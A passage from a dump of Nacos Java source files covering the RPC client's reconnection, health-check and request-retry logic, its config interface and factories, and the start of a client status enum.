              switchServerAsync(serverInfo, false);\n                            } else {\n                                switchServerAsync();\n                            }\n                            afterReset(connectResetRequest);\n                        }\n                    }\n                } catch (Exception e) {\n                    LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}] Switch server error, {}\", rpcClientConfig.name(), e);\n                }\n                return new ConnectResetResponse();\n            }\n            return null;\n        }\n    }\n    \n    /**\n     * . invoke after receiving reset request\n     *\n     * @param request request for resetting\n     */\n    protected void afterReset(ConnectResetRequest request) {\n        // hook for GrpcClient\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        LOGGER.info(\"Shutdown rpc client, set status to shutdown\");\n        rpcClientStatus.set(RpcClientStatus.SHUTDOWN);\n        LOGGER.info(\"Shutdown client event executor \" + clientEventExecutor);\n        if (clientEventExecutor != null) {\n            clientEventExecutor.shutdownNow();\n        }\n        closeConnection(currentConnection);\n    }\n    \n    private boolean healthCheck() {\n        HealthCheckRequest healthCheckRequest = new HealthCheckRequest();\n        if (this.currentConnection == null) {\n            return false;\n        }\n        int reTryTimes = rpcClientConfig.healthCheckRetryTimes();\n        while (reTryTimes >= 0) {\n            reTryTimes--;\n            try {\n                if (reTryTimes > 1) {\n                    Thread.sleep(ThreadLocalRandom.current().nextInt(500));\n                }\n                Response response = this.currentConnection\n                        .request(healthCheckRequest, rpcClientConfig.healthCheckTimeOut());\n                // not only check server is ok, also check connection is register.\n                return response != null && response.isSuccess();\n            } catch (Exception e) {\n                // ignore\n            }\n        }\n        return false;\n    }\n    \n    public void switchServerAsyncOnRequestFail() {\n        switchServerAsync(null, true);\n    }\n    \n    public void switchServerAsync() {\n        switchServerAsync(null, false);\n    }\n    \n    protected void switchServerAsync(final ServerInfo recommendServerInfo, boolean onRequestFail) {\n        reconnectionSignal.offer(new ReconnectContext(recommendServerInfo, onRequestFail));\n    }\n    \n    /**\n     * switch server .\n     */\n    protected void reconnect(final ServerInfo recommendServerInfo, boolean onRequestFail) {\n        \n        try {\n            \n            AtomicReference<ServerInfo> recommendServer = new AtomicReference<>(recommendServerInfo);\n            if (onRequestFail && healthCheck()) {\n                LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Server check success, currentServer is {} \",\n                        rpcClientConfig.name(), currentConnection.serverInfo.getAddress());\n                rpcClientStatus.set(RpcClientStatus.RUNNING);\n                return;\n            }\n            \n            LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Try to reconnect to a new server, server is {}\",\n                    rpcClientConfig.name(), recommendServerInfo == null ? \" not appointed, will choose a random server.\"\n                            : (recommendServerInfo.getAddress() + \", will try it once.\"));\n            \n            // loop until start client success.\n            boolean switchSuccess = false;\n            \n            int reConnectTimes = 0;\n            int retryTurns = 0;\n            Exception lastException;\n            while (!switchSuccess && !isShutdown()) {\n                \n                // 1.get a new server\n                ServerInfo serverInfo = null;\n                try {\n                    serverInfo = recommendServer.get() == null ? nextRpcServer() : recommendServer.get();\n                    // 2.create a new channel to new server\n                    Connection connectionNew = connectToServer(serverInfo);\n                    if (connectionNew != null) {\n                        LoggerUtils\n                                .printIfInfoEnabled(LOGGER, \"[{}] Success to connect a server [{}], connectionId = {}\",\n                                        rpcClientConfig.name(), serverInfo.getAddress(),\n                                        connectionNew.getConnectionId());\n                        // successfully create a new connect.\n                        if (currentConnection != null) {\n                            LoggerUtils.printIfInfoEnabled(LOGGER,\n                                    \"[{}] Abandon prev connection, server is {}, connectionId is {}\",\n                                    rpcClientConfig.name(), currentConnection.serverInfo.getAddress(),\n                                    currentConnection.getConnectionId());\n                            // set current connection to enable connection event.\n                            currentConnection.setAbandon(true);\n                            closeConnection(currentConnection);\n                        }\n                        currentConnection = connectionNew;\n                        rpcClientStatus.set(RpcClientStatus.RUNNING);\n                        switchSuccess = true;\n                        eventLinkedBlockingQueue.add(new ConnectionEvent(ConnectionEvent.CONNECTED, currentConnection));\n                        return;\n                    }\n                    \n                    // close connection if client is already shutdown.\n                    if (isShutdown()) {\n                        closeConnection(currentConnection);\n                    }\n                    \n                    lastException = null;\n                    \n                } catch (Throwable throwable) {\n                    LoggerUtils.printIfErrorEnabled(LOGGER, \"Fail to connect server, error = {}\", throwable.getMessage());\n                    lastException = new Exception(throwable);\n                } finally {\n                    recommendServer.set(null);\n                }\n                \n                if (CollectionUtils.isEmpty(RpcClient.this.serverListFactory.getServerList())) {\n                    throw new Exception(\"server list is empty\");\n                }\n                \n                if (reConnectTimes > 0\n                        && reConnectTimes % RpcClient.this.serverListFactory.getServerList().size() == 0) {\n                    LoggerUtils.printIfInfoEnabled(LOGGER,\n                            \"[{}] Fail to connect server, after trying {} times, last try server is {}, error = {}\",\n                            rpcClientConfig.name(), reConnectTimes, serverInfo,\n                            lastException == null ? \"unknown\" : lastException);\n                    if (Integer.MAX_VALUE == retryTurns) {\n                        retryTurns = 50;\n                    } else {\n                        retryTurns++;\n                    }\n                }\n                \n                reConnectTimes++;\n                \n                try {\n                    // sleep x milliseconds to switch next server.\n                    if (!isRunning()) {\n                        // first round, try servers at a delay 100ms;second round, 200ms; max delays 5s. to be reconsidered.\n                        Thread.sleep(Math.min(retryTurns + 1, 50) * 100L);\n                    }\n                } catch (InterruptedException e) {\n                    // Do nothing.\n                    // set the interrupted flag\n                    Thread.currentThread().interrupt();\n                }\n            }\n            \n            if (isShutdown()) {\n                LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Client is shutdown, stop reconnect to server\",\n                        rpcClientConfig.name());\n            }\n            \n        } catch (Exception e) {\n            LoggerUtils\n                    .printIfWarnEnabled(LOGGER, \"[{}] Fail to reconnect to server, error is {}\", rpcClientConfig.name(),\n                            e);\n        }\n    }\n    \n    private void closeConnection(Connection connection) {\n        if (connection != null) {\n            LOGGER.info(\"Close current connection \" + connection.getConnectionId());\n            connection.close();\n            eventLinkedBlockingQueue.add(new ConnectionEvent(ConnectionEvent.DISCONNECTED, connection));\n        }\n    }\n    \n    /**\n     * get connection type of this client.\n     *\n     * @return ConnectionType.\n     */\n    public abstract ConnectionType getConnectionType();\n    \n    /**\n     * increase offset of the nacos server port for the rpc server port.\n     *\n     * @return rpc port offset\n     */\n    public abstract int rpcPortOffset();\n    \n    /**\n     * get current server.\n     *\n     * @return server info.\n     */\n    public ServerInfo getCurrentServer() {\n        if (this.currentConnection != null) {\n            return currentConnection.serverInfo;\n        }\n        return null;\n    }\n    \n    /**\n     * send request.\n     *\n     * @param request request.\n     * @return response from server.\n     */\n    public Response request(Request request) throws NacosException {\n        return request(request, rpcClientConfig.timeOutMills());\n    }\n    \n    /**\n     * send request.\n     *\n     * @param request request.\n     * @return response from server.\n     */\n    public Response request(Request request, long timeoutMills) throws NacosException {\n        int retryTimes = 0;\n        Response response;\n        Throwable exceptionThrow = null;\n        long start = System.currentTimeMillis();\n        while (retryTimes <= rpcClientConfig.retryTimes() && (timeoutMills <= 0\n                || System.currentTimeMillis() < timeoutMills + start)) {\n            boolean waitReconnect = false;\n            try {\n                if (this.currentConnection == null || !isRunning()) {\n                    waitReconnect = true;\n                    throw new NacosException(NacosException.CLIENT_DISCONNECT,\n                            \"Client not connected, current status:\" + rpcClientStatus.get());\n                }\n                response = this.currentConnection.request(request, timeoutMills);\n                if (response == null) {\n                    throw new NacosException(SERVER_ERROR, \"Unknown Exception.\");\n                }\n                if (response instanceof ErrorResponse) {\n                    if (response.getErrorCode() == NacosException.UN_REGISTER) {\n                        synchronized (this) {\n                            waitReconnect = true;\n                            if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n                                LoggerUtils.printIfErrorEnabled(LOGGER,\n                                        \"Connection is unregistered, switch server, connectionId = {}, request = {}\",\n                                        currentConnection.getConnectionId(), request.getClass().getSimpleName());\n                                switchServerAsync();\n                            }\n                        }\n                        \n                    }\n                    throw new NacosException(response.getErrorCode(), response.getMessage());\n                }\n                // return response.\n                lastActiveTimeStamp = System.currentTimeMillis();\n                return response;\n                \n            } catch (Throwable e) {\n                if (waitReconnect) {\n                    try {\n                        // wait client to reconnect.\n                        Thread.sleep(Math.min(100, timeoutMills / 3));\n                    } catch (Exception exception) {\n                        // Do nothing.\n                    }\n                }\n                \n                LoggerUtils.printIfErrorEnabled(LOGGER,\n                        \"Send request fail, request = {}, retryTimes = {}, errorMessage = {}\", request, retryTimes,\n                        e.getMessage());\n                \n                exceptionThrow = e;\n                \n            }\n            retryTimes++;\n            \n        }\n        \n        if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n            switchServerAsyncOnRequestFail();\n        }\n        \n        if (exceptionThrow != null) {\n            throw (exceptionThrow instanceof NacosException) ? (NacosException) exceptionThrow\n                    : new NacosException(SERVER_ERROR, exceptionThrow);\n        } else {\n            throw new NacosException(SERVER_ERROR, \"Request fail, unknown Error\");\n        }\n    }\n    \n    /**\n     * send async request.\n     *\n     * @param request request.\n     */\n    public void asyncRequest(Request request, RequestCallBack callback) throws NacosException {\n        int retryTimes = 0;\n        Throwable exceptionToThrow = null;\n        long start = System.currentTimeMillis();\n        while (retryTimes <= rpcClientConfig.retryTimes() && System.currentTimeMillis() < start + callback\n                .getTimeout()) {\n            boolean waitReconnect = false;\n            try {\n                if (this.currentConnection == null || !isRunning()) {\n                    waitReconnect = true;\n                    throw new NacosException(NacosException.CLIENT_DISCONNECT, \"Client not connected.\");\n                }\n                this.currentConnection.asyncRequest(request, callback);\n                return;\n            } catch (Throwable e) {\n                if (waitReconnect) {\n                    try {\n                        // wait client to reconnect.\n                        Thread.sleep(Math.min(100, callback.getTimeout() / 3));\n                    } catch (Exception exception) {\n                        // Do nothing.\n                    }\n                }\n                LoggerUtils.printIfErrorEnabled(LOGGER,\n                        \"[{}] Send request fail, request = {}, retryTimes = {}, errorMessage = {}\",\n                        rpcClientConfig.name(), request, retryTimes, e.getMessage());\n                exceptionToThrow = e;\n                \n            }\n            retryTimes++;\n            \n        }\n        \n        if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n            switchServerAsyncOnRequestFail();\n        }\n        if (exceptionToThrow != null) {\n            throw (exceptionToThrow instanceof NacosException) ? (NacosException) exceptionToThrow\n                    : new NacosException(SERVER_ERROR, exceptionToThrow);\n        } else {\n            throw new NacosException(SERVER_ERROR, \"AsyncRequest fail, unknown error\");\n        }\n    }\n    \n    /**\n     * send async request.\n     *\n     * @param request request.\n     * @return request future.\n     */\n    public RequestFuture requestFuture(Request request) throws NacosException {\n        int retryTimes = 0;\n        long start = System.currentTimeMillis();\n        Exception exceptionToThrow = null;\n        while (retryTimes <= rpcClientConfig.retryTimes() && System.currentTimeMillis() < start + rpcClientConfig\n                .timeOutMills()) {\n            boolean waitReconnect = false;\n            try {\n                if (this.currentConnection == null || !isRunning()) {\n                    waitReconnect = true;\n                    throw new NacosException(NacosException.CLIENT_DISCONNECT, \"Client not connected.\");\n                }\n                return this.currentConnection.requestFuture(request);\n            } catch (Exception e) {\n                if (waitReconnect) {\n                    try {\n                        // wait client to reconnect.\n                        Thread.sleep(100L);\n                    } catch (Exception exception) {\n                        // Do nothing.\n                    }\n                }\n                LoggerUtils.printIfErrorEnabled(LOGGER,\n                        \"[{}] Send request fail, request = {}, retryTimes = {}, errorMessage = {}\",\n                        rpcClientConfig.name(), request, retryTimes, e.getMessage());\n                exceptionToThrow = e;\n                \n            }\n            retryTimes++;\n        }\n        \n        if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n            switchServerAsyncOnRequestFail();\n        }\n        \n        if (exceptionToThrow != null) {\n            throw (exceptionToThrow instanceof NacosException) ? (NacosException) exceptionToThrow\n                    : new NacosException(SERVER_ERROR, exceptionToThrow);\n        } else {\n            throw new NacosException(SERVER_ERROR, \"Request future fail, unknown error\");\n        }\n        \n    }\n    \n    /**\n     * connect to server.\n     *\n     * @param serverInfo server address to connect.\n     * @return return connection when successfully connect to server, or null if failed.\n     * @throws Exception exception when fail to connect to server.\n     */\n    public abstract Connection connectToServer(ServerInfo serverInfo) throws Exception;\n    \n    /**\n     * handle server request.\n     *\n     * @param request request.\n     * @return response.\n     */\n    protected Response handleServerRequest(final Request request) {\n        \n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Receive server push request, request = {}, requestId = {}\",\n                rpcClientConfig.name(), request.getClass().getSimpleName(), request.getRequestId());\n        lastActiveTimeStamp = System.currentTimeMillis();\n        for (ServerRequestHandler serverRequestHandler : serverRequestHandlers) {\n            try {\n                Response response = serverRequestHandler.requestReply(request, currentConnection);\n                \n                if (response != null) {\n                    LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Ack server push request, request = {}, requestId = {}\",\n                            rpcClientConfig.name(), request.getClass().getSimpleName(), request.getRequestId());\n                    return response;\n                }\n            } catch (Exception e) {\n                LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] HandleServerRequest:{}, errorMessage = {}\",\n                        rpcClientConfig.name(), serverRequestHandler.getClass().getName(), e.getMessage());\n                throw e;\n            }\n            \n        }\n        return null;\n    }\n    \n    /**\n     * Register connection handler. Will be notified when inner connection's state changed.\n     *\n     * @param connectionEventListener connectionEventListener\n     */\n    public synchronized void registerConnectionListener(ConnectionEventListener connectionEventListener) {\n        \n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Registry connection listener to current client:{}\",\n                rpcClientConfig.name(), connectionEventListener.getClass().getName());\n        this.connectionEventListeners.add(connectionEventListener);\n    }\n    \n    /**\n     * Register serverRequestHandler, the handler will handle the request from server side.\n     *\n     * @param serverRequestHandler serverRequestHandler\n     */\n    public synchronized void registerServerRequestHandler(ServerRequestHandler serverRequestHandler) {\n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Register server push request handler:{}\", rpcClientConfig.name(),\n                serverRequestHandler.getClass().getName());\n        \n        this.serverRequestHandlers.add(serverRequestHandler);\n    }\n    \n    /**\n     * Getter method for property <tt>name</tt>.\n     *\n     * @return property value of name\n     */\n    public String getName() {\n        return rpcClientConfig.name();\n    }\n    \n    /**\n     * Getter method for property <tt>serverListFactory</tt>.\n     *\n     * @return property value of serverListFactory\n     */\n    public ServerListFactory getServerListFactory() {\n        return serverListFactory;\n    }\n    \n    protected ServerInfo nextRpcServer() {\n        String serverAddress = getServerListFactory().genNextServer();\n        return resolveServerInfo(serverAddress);\n    }\n    \n    protected ServerInfo currentRpcServer() {\n        String serverAddress = getServerListFactory().getCurrentServer();\n        return resolveServerInfo(serverAddress);\n    }\n    \n    /**\n     * resolve server info.\n     *\n     * @param serverAddress address.\n     * @return\n     */\n    private ServerInfo resolveServerInfo(String serverAddress) {\n        Matcher matcher = EXCLUDE_PROTOCOL_PATTERN.matcher(serverAddress);\n        if (matcher.find()) {\n            serverAddress = matcher.group(1);\n        }\n        String[] ipPortTuple = InternetAddressUtil.splitIpPortStr(serverAddress);\n        int defaultPort = Integer.parseInt(System.getProperty(\"nacos.server.port\", \"8848\"));\n        String serverPort = CollectionUtils.getOrDefault(ipPortTuple, 1, Integer.toString(defaultPort));\n        \n        return new ServerInfo(ipPortTuple[0], NumberUtils.toInt(serverPort, defaultPort));\n    }\n    \n    public static class ServerInfo {\n        \n        protected String serverIp;\n        \n        protected int serverPort;\n        \n        public ServerInfo() {\n        \n        }\n        \n        public ServerInfo(String serverIp, int serverPort) {\n            this.serverPort = serverPort;\n            this.serverIp = serverIp;\n        }\n        \n        /**\n         * get address, ip:port.\n         *\n         * @return address.\n         */\n        public String getAddress() {\n            return serverIp + Constants.COLON + serverPort;\n        }\n        \n        /**\n         * Setter method for property <tt>serverIp</tt>.\n         *\n         * @param serverIp value to be assigned to property serverIp\n         */\n        public void setServerIp(String serverIp) {\n            this.serverIp = serverIp;\n        }\n        \n        /**\n         * Setter method for property <tt>serverPort</tt>.\n         *\n         * @param serverPort value to be assigned to property serverPort\n         */\n        public void setServerPort(int serverPort) {\n            this.serverPort = serverPort;\n        }\n        \n        /**\n         * Getter method for property <tt>serverIp</tt>.\n         *\n         * @return property value of serverIp\n         */\n        public String getServerIp() {\n            return serverIp;\n        }\n        \n        /**\n         * Getter method for property <tt>serverPort</tt>.\n         *\n         * @return property value of serverPort\n         */\n        public int getServerPort() {\n            return serverPort;\n        }\n        \n        @Override\n        public String toString() {\n            return \"{serverIp = '\" + serverIp + '\\'' + \", server main port = \" + serverPort + '}';\n        }\n    }\n    \n    public static class ConnectionEvent {\n        \n        public static final int CONNECTED = 1;\n        \n        public static final int DISCONNECTED = 0;\n        \n        int eventType;\n        \n        Connection connection;\n        \n        public ConnectionEvent(int eventType, Connection connection) {\n            this.eventType = eventType;\n            this.connection = connection;\n        }\n        \n        public boolean isConnected() {\n            return eventType == CONNECTED;\n        }\n        \n        public boolean isDisConnected() {\n            return eventType == DISCONNECTED;\n        }\n    }\n    \n    /**\n     * Getter method for property <tt>labels</tt>.\n     *\n     * @return property value of labels\n     */\n    public Map<String, String> getLabels() {\n        return rpcClientConfig.labels();\n    }\n    \n    static class ReconnectContext {\n        \n        public ReconnectContext(ServerInfo serverInfo, boolean onRequestFail) {\n            this.onRequestFail = onRequestFail;\n            this.serverInfo = serverInfo;\n        }\n        \n        boolean onRequestFail;\n        \n        ServerInfo serverInfo;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    /**\n     * Return ability of current connection.\n     *\n     * @param abilityKey ability key\n     * @return whether support, return null if connection is not ready\n     */\n    public AbilityStatus getConnectionAbility(AbilityKey abilityKey) {\n        if (currentConnection != null) {\n            return currentConnection.getConnectionAbility(abilityKey);\n        }\n        // return null if connection is not ready\n        return null;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientConfig.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport java.util.Map;\n\n/**\n * RpcClientConfig.\n *\n * @author karsonto\n */\npublic interface RpcClientConfig {\n    \n    /**\n     * get name.\n     *\n     * @return name.\n     */\n    String name();\n    \n    /**\n     * get request retry times.\n     *\n     * @return retryTimes.\n     */\n    int retryTimes();\n    \n    /**\n     * get time out mills.\n     *\n     * @return timeOutMills.\n     */\n    long timeOutMills();\n    \n    /**\n     * get connection keep alive time.\n     *\n     * @return connectionKeepAlive.\n     */\n    long connectionKeepAlive();\n    \n    /**\n     * get health check retry times.\n     *\n     * @return healthCheckRetryTimes.\n     */\n    int healthCheckRetryTimes();\n    \n    /**\n     * get health check time out.\n     *\n     * @return healthCheckTimeOut.\n     */\n    long healthCheckTimeOut();\n    \n    /**\n     * get map of labels.\n     *\n     * @return labels.\n     */\n    Map<String, String> labels();\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientConfigFactory.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.common.remote.client.grpc.DefaultGrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\n\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * RpcClientConfigFactory.\n *\n * @author Nacos\n */\npublic class RpcClientConfigFactory implements RpcConfigFactory {\n    \n    private static volatile RpcClientConfigFactory rpcClientConfigFactory;\n    \n    private RpcClientConfigFactory() {\n    }\n    \n    public static RpcClientConfigFactory getInstance() {\n        if (rpcClientConfigFactory == null) {\n            synchronized (RpcClientConfigFactory.class) {\n                if (rpcClientConfigFactory == null) {\n                    rpcClientConfigFactory = new RpcClientConfigFactory();\n                }\n            }\n        }\n        return rpcClientConfigFactory;\n    }\n    \n    @Override\n    public GrpcClientConfig createGrpcClientConfig(Properties properties, Map<String, String> labels) {\n        return DefaultGrpcClientConfig.newBuilder().setLabels(labels).buildSdkFromProperties(properties).build();\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClusterClient;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcSdkClient;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * RpcClientFactory.to support multi client for different modules of usage.\n *\n * @author liuzunfei\n * @version $Id: RpcClientFactory.java, v 0.1 2020年07月14日 3:41 PM liuzunfei Exp $\n */\npublic class RpcClientFactory {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.common.remote.client\");\n    \n    private static final Map<String, RpcClient> CLIENT_MAP = new ConcurrentHashMap<>();\n    \n    /**\n     * get all client.\n     *\n     * @return client collection.\n     */\n    public static Set<Map.Entry<String, RpcClient>> getAllClientEntries() {\n        return CLIENT_MAP.entrySet();\n    }\n    \n    /**\n     * shut down client.\n     *\n     * @param clientName client name.\n     */\n    public static void destroyClient(String clientName) throws NacosException {\n        RpcClient rpcClient = CLIENT_MAP.remove(clientName);\n        if (rpcClient != null) {\n            rpcClient.shutdown();\n        }\n    }\n    \n    public static RpcClient getClient(String clientName) {\n        return CLIENT_MAP.get(clientName);\n    }\n    \n    /**\n     * create a rpc client.\n     *\n     * @param clientName     client name.\n     * @param connectionType client type.\n     * @return rpc client.\n     */\n    public static RpcClient createClient(String clientName, ConnectionType connectionType, Map<String, String> labels) {\n        return createClient(clientName, connectionType, null, null, labels);\n    }\n    \n    public static RpcClient createClient(String clientName, ConnectionType connectionType, Map<String, String> labels,\n            RpcClientTlsConfig tlsConfig) {\n        return createClient(clientName, connectionType, null, null, labels, tlsConfig);\n    }\n    \n    /**\n     * create client with properties.\n     *\n     * @return rpc client.\n     * @date 2024/3/7\n     */\n    public static RpcClient createClient(String clientName, ConnectionType connectionType, Map<String, String> labels,\n            Properties properties, RpcClientTlsConfig tlsConfig) {\n        return createClient(clientName, connectionType, null, null, labels, tlsConfig);\n    }\n    \n    public static RpcClient createClient(String clientName, ConnectionType connectionType, Integer threadPoolCoreSize,\n            Integer threadPoolMaxSize, Map<String, String> labels) {\n        return createClient(clientName, connectionType, threadPoolCoreSize, threadPoolMaxSize, labels, null);\n    }\n    \n    /**\n     * create a rpc client.\n     *\n     * @param clientName         client name.\n     * @param connectionType     client type.\n     * @param threadPoolCoreSize grpc thread pool core size\n     * @param threadPoolMaxSize  grpc thread pool max size\n     * @param tlsConfig          tlsconfig\n     * @return rpc client.\n     */\n    public static RpcClient createClient(String clientName, ConnectionType connectionType, Integer threadPoolCoreSize,\n            Integer threadPoolMaxSize, Map<String, String> labels, RpcClientTlsConfig tlsConfig) {\n        \n        if (!ConnectionType.GRPC.equals(connectionType)) {\n            throw new UnsupportedOperationException(\"unsupported connection type :\" + connectionType.getType());\n        }\n        \n        return CLIENT_MAP.computeIfAbsent(clientName, clientNameInner -> {\n            LOGGER.info(\"[RpcClientFactory] create a new rpc client of \" + clientName);\n            return new GrpcSdkClient(clientNameInner, threadPoolCoreSize, threadPoolMaxSize, labels, tlsConfig);\n        });\n    }\n    \n    /**\n     * create a rpc client.\n     *\n     * @param clientName         client name.\n     * @param connectionType     client type.\n     * @param grpcClientConfig   grpc client config.\n     * @return rpc client.\n     */\n    public static RpcClient createClient(String clientName, ConnectionType connectionType, GrpcClientConfig grpcClientConfig) {\n        \n        if (!ConnectionType.GRPC.equals(connectionType)) {\n            throw new UnsupportedOperationException(\"unsupported connection type :\" + connectionType.getType());\n        }\n        \n        return CLIENT_MAP.computeIfAbsent(clientName, clientNameInner -> {\n            LOGGER.info(\"[RpcClientFactory] create a new rpc client of \" + clientName);\n            grpcClientConfig.setName(clientNameInner);\n            return new GrpcSdkClient(grpcClientConfig);\n        });\n    }\n    \n    /**\n     * Creates an RPC client for cluster communication with default thread pool settings.\n     *\n     * @param clientName     The name of the client.\n     * @param connectionType The type of client connection.\n     * @param labels         Additional labels for RPC-related attributes.\n     * @return An RPC client for cluster communication.\n     */\n    public static RpcClient createClusterClient(String clientName, ConnectionType connectionType,\n            Map<String, String> labels) {\n        return createClusterClient(clientName, connectionType, null, null, labels);\n    }\n    \n    /**\n     * Creates an RPC client for cluster communication with TLS configuration.\n     *\n     * @param clientName     The name of the client.\n     * @param connectionType The type of client connection.\n     * @param labels         Additional labels for RPC-related attributes.\n     * @param tlsConfig      TLS configuration for secure communication.\n     * @return An RPC client for cluster communication with TLS configuration.\n     */\n    public static RpcClient createClusterClient(String clientName, ConnectionType connectionType,\n            Map<String, String> labels, RpcClientTlsConfig tlsConfig) {\n        return createClusterClient(clientName, connectionType, null, null, labels, tlsConfig);\n    }\n    \n    /**\n     * Creates an RPC client for cluster communication with custom thread pool settings.\n     *\n     * @param clientName         The name of the client.\n     * @param connectionType     The type of client connection.\n     * @param threadPoolCoreSize The core size of the gRPC thread pool.\n     * @param threadPoolMaxSize  The maximum size of the gRPC thread pool.\n     * @param labels             Additional labels for RPC-related attributes.\n     * @return An RPC client for cluster communication with custom thread pool settings.\n     */\n    public static RpcClient createClusterClient(String clientName, ConnectionType connectionType,\n            Integer threadPoolCoreSize, Integer threadPoolMaxSize, Map<String, String> labels) {\n        return createClusterClient(clientName, connectionType, threadPoolCoreSize, threadPoolMaxSize, labels, null);\n    }\n    \n    /**\n     * createClusterClient.\n     *\n     * @param clientName         client name.\n     * @param connectionType     connectionType.\n     * @param threadPoolCoreSize coreSize.\n     * @param threadPoolMaxSize  threadPoolSize.\n     * @param labels             tables.\n     * @param tlsConfig          tlsConfig.\n     * @return\n     */\n    public static RpcClient createClusterClient(String clientName, ConnectionType connectionType,\n            Integer threadPoolCoreSize, Integer threadPoolMaxSize, Map<String, String> labels,\n            RpcClientTlsConfig tlsConfig) {\n        if (!ConnectionType.GRPC.equals(connectionType)) {\n            throw new UnsupportedOperationException(\"unsupported connection type :\" + connectionType.getType());\n        }\n        \n        return CLIENT_MAP.computeIfAbsent(clientName,\n                clientNameInner -> new GrpcClusterClient(clientNameInner, threadPoolCoreSize, threadPoolMaxSize, labels,\n                        tlsConfig));\n    }\n    \n    /**\n     * create a cluster rpc client.\n     *\n     * @param clientName         client name.\n     * @param connectionType     client type.\n     * @param grpcClientConfig   grpc client config.\n     * @return rpc client.\n     */\n    public static RpcClient createClusterClient(String clientName, ConnectionType connectionType,\n            GrpcClientConfig grpcClientConfig) {\n        if (!ConnectionType.GRPC.equals(connectionType)) {\n            throw new UnsupportedOperationException(\"unsupported connection type :\" + connectionType.getType());\n        }\n        \n        return CLIENT_MAP.computeIfAbsent(clientName, clientNameInner -> {\n            LOGGER.info(\"[RpcClientFactory] create a new cluster rpc client of \" + clientName);\n            grpcClientConfig.setName(clientNameInner);\n            return new GrpcClusterClient(grpcClientConfig);\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientStatus.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\n/**\n * status of rpc client.\n *\n * @author liuzunfei\n * @version $Id: RpcClientStatus.java, v 0.1 2020年07月14日 3:49 PM liuzunfei Exp $\n */\npublic enum RpcClientStatus {\n    \n    /**\n     * wait to init.\n     */\n    WAIT_INIT(0, \"Wait to init server list factory...\"),\n    \n    /**\n     * already init.\n     */\n    INITIALIZED(1, \"Server list factory is ready, wait to starting...\"),\n    \n    /**\n     * in starting.\n     */\n    STARTING(2, \"Client already staring, wait to connect with server...\"),\n    \n    /**\n     * unhealthy.\n     */\n    UNHEALTHY(3, \"Client 